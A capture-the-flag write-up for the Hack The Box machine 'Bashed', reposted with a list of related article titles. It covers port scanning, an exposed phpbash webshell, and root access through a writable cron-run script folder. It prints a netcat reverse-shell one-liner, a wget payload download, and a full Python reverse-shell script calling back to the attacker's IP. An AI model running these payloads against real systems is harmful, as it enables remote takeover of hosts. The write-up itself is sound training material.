Bashed -- hack the box
Introduction
Target: 10.10.10.68 (OS: Linux)
Kali linux: 10.10.16.44
Information Enumeration
Firstly, detect the open ports:
# Nmap 7.70 scan initiated Wed Apr 3 20:48:43 2019 as: nmap -sT -p- --min-rate 10000 -oA openports 10.10.10.68
Warning: 10.10.10.68 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.68
Host is up (0.31s latency).
Not shown: 39680 closed ports, 25854 filtered ports
PORT STATE SERVICE
80/tcp open http
Only port 80 is open, it may be an easy box. And the truth is that it is really an easy box.
Then, detect the service of the port 80, it may be a kind of http service.
# Nmap 7.70 scan initiated Wed Apr 3 20:55:27 2019 as: nmap -sC -sV -p 80 -oA services 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Nothing special. Then access the http service and find more.
Exploit
Http
Access to http://10.10.10.68, and it seems to be a simple blog which talks about phpbash.
phpbash seems to be a webshell tool. And there is a github repository phpbash introduces the tool. The introduction of the repo is to drop the file to target and access it by http://ip/uploads/phpbash.php. Try to access http://10.10.10.68/uploads/phpbash.php. But the file seems not to be here.
Utilize the dirbuster to enumerate the directories.
Wow. Find it and open the file phpbash.php. Here is the webshell. I have tried to reverse shell by rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc10.10.16.441234>/tmp/f. But the shell cannot be returned. Whatever, I can obtain the user.txt.
It is convenient to get the reverse shell. So I try to upload a php shell to the target machine. The detailed php script can be found here. And I server the php script by python-mSimpleHTTPServer80. Then download the php script from the target machine. To ensure the script can be written to the target machine. Select a path can be written, for example: /tmp.
wget http://10.10.16.44/php-reverse-shell.php
Then in the kali, set the nc listen to port 1234:
nc-lvnp1234
Execute the php script in the target machine php php-reverse-shell.php. OK. We obtain the reverse shell.
Privilege escalation
Obtain the user permission is quite easy, and it is not difficult to obtain the root permission. Utilize sudo-l to see the permissions of the user. Something interesting found. We can switch to scriptmanager user without password.
su -u scrriptmanager bash -i
Try to enumerate the files. And I find an interesting folder inside /scripts. There are two files test.py and test.txt. Try to display the content of test.py.
The python script is quite straightforward. It just writes testing123! to the file test.txt. And if we see the attributes of test.txt, the modified time of the file changes each minute. And the file is owned by root. It seems that root will execute the python scripts in /scriptsfolder each minute. So utilize a python script to reverse the root shell(according to the information above, the python version of the target machine is 2.7):
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.16.44",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Set the kali listen to port 4444. Download the python script in the target machine and execute. Now, root shell is obtained.
可以扫描二维码或者搜索 mad_coder 关注微信公众号,点击阅读原文可以获取链接版原文。

Bashed -- hack the box的更多相关文章
- HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入)
HACK TEH BOX - Under Construction(JWT密钥混淆 + SQL注入) 目录 1. JWT密钥混淆 2. 环境 3. Challenge 4. Walkthrough 1 ...
- Hack The Box( Starting Point )
Hack The Box [Starting Point] 初始点 -- 了解渗透测试的基础知识. 这一章节对于一个渗透小白来说,可以快速的成长.以下将提供详细的解题思路,与实操步骤. TIER 0 ...
- Hack the box: Bastion
介绍 目标:10.10.10.134 (Windows) Kali:10.10.16.65 In conclusion, Bastion is not a medium box. But it wou ...
- Hack The Box 获取邀请码
TL DR; 使用curl请求下面的地址 curl -X POST https://www.hackthebox.eu/api/invite/generate {"success" ...
- Hack The Box Web Pentest 2019
[20 Points] Emdee five for life [by L4mpje] 问题描述: Can you encrypt fast enough? 初始页面,不管怎么样点击Submit都会显 ...
- hack the box -- sizzle 渗透过程总结,之前对涉及到域内证书啥的还不怎么了解
把之前的笔记搬运过来 --- 1 开了443,用smbclient建立空连接查看共享 smbclient -N -L \\\\1.1.1.1 Department Shares Operatio ...
- 2019-10-30,Hack The Box 获取邀请码
一.快速获取邀请码方法 1,使用curl请求下面的地址curl -X POST https://www.hackthebox.eu/api/invite/generate 2,在返回结果的code部分 ...
- Hack The Box Web Pentest 2017
[20 Points] Lernaean [by [Arrexel] 问题描述: Your target is not very good with computers. Try and guess ...
- Hack the box邀请码和注册问题总结
注意下,有3个坑, 1. 解码方式是随机的,记得看DATA下面提示用哪种 2. post时候可以直接用f12里的console,命令是: $.post('https://www.hackthebox. ...
随机推荐
- 利用angular4和nodejs-express构建一个简单的网站(五)—用户的注册和登录-HttpClient
上一节简单介绍了一下利用angular构建的主路由模块,根据上一节的介绍,主页面加载时直接跳转到用户管理界面,下面就来介绍一下用户管理模块.启动应用后,初始界面应该是这样的: 用户管理模块(users ...
- 网页中JS函数自动执行常用三种方法
(1)最简单的调用方式,直接写到html的body标签里面: <body onload="myFunction()"></body> ...
- C++入门经典-例6.12-使用数组地址将二维数组输出
1:以a[4][3]为例 a代表二维数组的地址,通过指针运算符可以获取数组中的元素 (1)a+n代表第n行的首地址 (2)&a[0][0]既可以看作第0行0列的首地址,同样也可以被看作是二维数 ...
- centos7 php5.5 mongodb安装
1.下载最新php MongoDB扩展源码 https://pecl.php.net/package/mongodb 最新的1.6不支持PHP5.5,得用老版本,1.5.5 wget https:// ...
- Java-Thread 线程
一.进程与线程的概念 进程和线程都是一个CPU工作时间段的描述,只是关注点不同. 进程(Process): 资源(CPU,内存等,文件,网络等)分配的基本单位.系统中有很多进程,它们都会使用内存.为了 ...
- spark 源码编译 standalone 模式部署
本文介绍如何编译 spark 的源码,并且用 standalone 的方式在单机上部署 spark. 步骤如下: 1. 下载 spark 并且解压 本文选择 spark 的最新版本 2.2.0 (20 ...
- C# NAudio 变声
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- CSS + ul li 横向排列的两种方法
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- harbor无法上传镜像解决
报错:[root@bogon harbor]# docker login 192.168.43.65:5000Username (admin): Password: Login Succeeded [ ...
- MySQL 常用工具sysbench/fio/tpcc等测试
为什么要压力测试采购新设备,评估新设备性能开发新项目,评估数据库容量新系统上线前,预估/模拟数据库负载更换数据库版本,评估性能变化 关注指标 CPU %wait,%user,%sys 内存 只内存读 ...